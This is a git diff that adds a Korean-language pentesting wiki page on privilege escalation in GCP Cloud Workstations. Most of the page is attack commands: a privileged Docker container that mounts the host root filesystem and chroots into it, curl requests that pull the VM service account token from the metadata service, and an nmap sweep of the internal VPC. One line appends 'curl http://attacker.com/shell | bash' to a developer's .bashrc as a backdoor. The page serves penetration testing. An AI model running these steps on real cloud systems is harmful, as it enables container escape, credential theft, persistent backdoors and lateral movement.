diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
new file mode 100644
index 000000000..88cd4e952
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -0,0 +1,96 @@
+# GCP - Cloud Workstations Privesc
+
+
+### Container Breakout via Docker Socket (Container -> VM -> Project)
+
+Cloud Workstations에서 주요 권한 상승 경로는 개발자를 위한 **Docker-in-Docker (DinD)** 워크플로를 지원해야 한다는 요구사항에서 비롯된다. workstation 구성에서 Docker socket을 마운트하거나 privileged containers를 허용하면(일반적인 구성), workstation container 내부의 공격자는 기본 Compute Engine VM으로 탈출하여 서비스 계정 토큰(service account token)을 탈취할 수 있다.
+
+**Prerequisites:**
+- Cloud Workstation 터미널에 접근 가능(SSH, 탈취된 세션 또는 도난된 자격증명)
+- workstation 구성에서 `/var/run/docker.sock`를 마운트하거나 privileged containers를 활성화해야 함
+
+**Architecture context:** workstation은 container(Layer 3)로서 Docker/Containerd runtime(Layer 2) 위에서 GCE VM(Layer 1)에서 실행된다. Docker socket은 호스트의 container runtime에 대한 직접 접근을 제공한다.
+
+> [!NOTE]
+> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 자동화하여 전체 container escape를 수행하고 호스트 VM에서 root shell로 진입시켜준다.
+
+
+
+Step 1: Check for Docker socket
+```bash
+# Verify the Docker socket is available
+ls -l /var/run/docker.sock
+# Expected output: srw-rw---- 1 root docker 0 ...
+```
+
+
+
+
+단계 2: 호스트 VM 파일시스템으로 탈출
+
+우리는 privileged 컨테이너를 실행하여 호스트의 루트 디렉터리를 `/mnt/host`에 마운트합니다. 또한 가시성을 최대화하기 위해 호스트의 네트워크와 PID namespace를 공유합니다.
+```bash
+# Spawn a privileged container mounting the host's root filesystem
+docker run -it --rm --privileged --net=host --pid=host \
+-v /:/mnt/host \
+alpine sh
+
+# Inside the new container, chroot into the host
+chroot /mnt/host /bin/bash
+```
+이제 **기반 Compute Engine VM의 root shell**을 확보했습니다 (Layer 1).
+
+
+
+
+
+3단계: IMDS에서 VM service account token 탈취
+```bash
+# From the host VM, query the Instance Metadata Service
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
+
+# Check which service account is attached
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
+
+# Check scopes (CRITICAL STEP)
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
+```
+
+
+> [!CAUTION]
+> **Check the Scopes!**
+> 연결된 Service Account가 **Editor**일지라도, VM은 access scopes에 의해 제한될 수 있습니다.
+> `https://www.googleapis.com/auth/cloud-platform`가 보이면 전체 권한을 가지고 있습니다.
+> `logging.write`와 `monitoring.write`만 보인다면 아래의 **Network Pivot** 및 **Persistence** 벡터로 제한됩니다.
+
+
+
+4단계: Achieve Persistence (Backdoor the User)
+
+Cloud Workstations는 `/home/user`에 영구 디스크를 마운트합니다. 컨테이너 사용자(보통 `user`, UID 1000)가 호스트 사용자(UID 1000)와 일치하므로 호스트의 홈 디렉터리에 쓸 수 있습니다. 이는 workstation container가 재생성되더라도 환경에 backdoor를 심을 수 있게 해줍니다.
+```bash
+# Check if you can write to the host's persistent home
+ls -la /mnt/host/home/user/
+
+# Drop a backdoor that executes next time the developer logs in
+# Note: Do this from the container escape context
+echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
+```
+
+
+
+
+Step 5: Network Pivot (Internal VPC Access)
+
+호스트 네트워크 네임스페이스(`--net=host`)를 공유하므로 이제 VPC에서 신뢰된 노드가 됩니다. IP whitelisting을 기반으로 접근을 허용하는 internal services를 scan할 수 있습니다.
+```bash
+# Install scanning tools on the host (if internet access allows)
+apk add nmap
+
+# Scan the internal VPC subnet
+nmap -sS -p 80,443,22 10.0.0.0/8
+```
+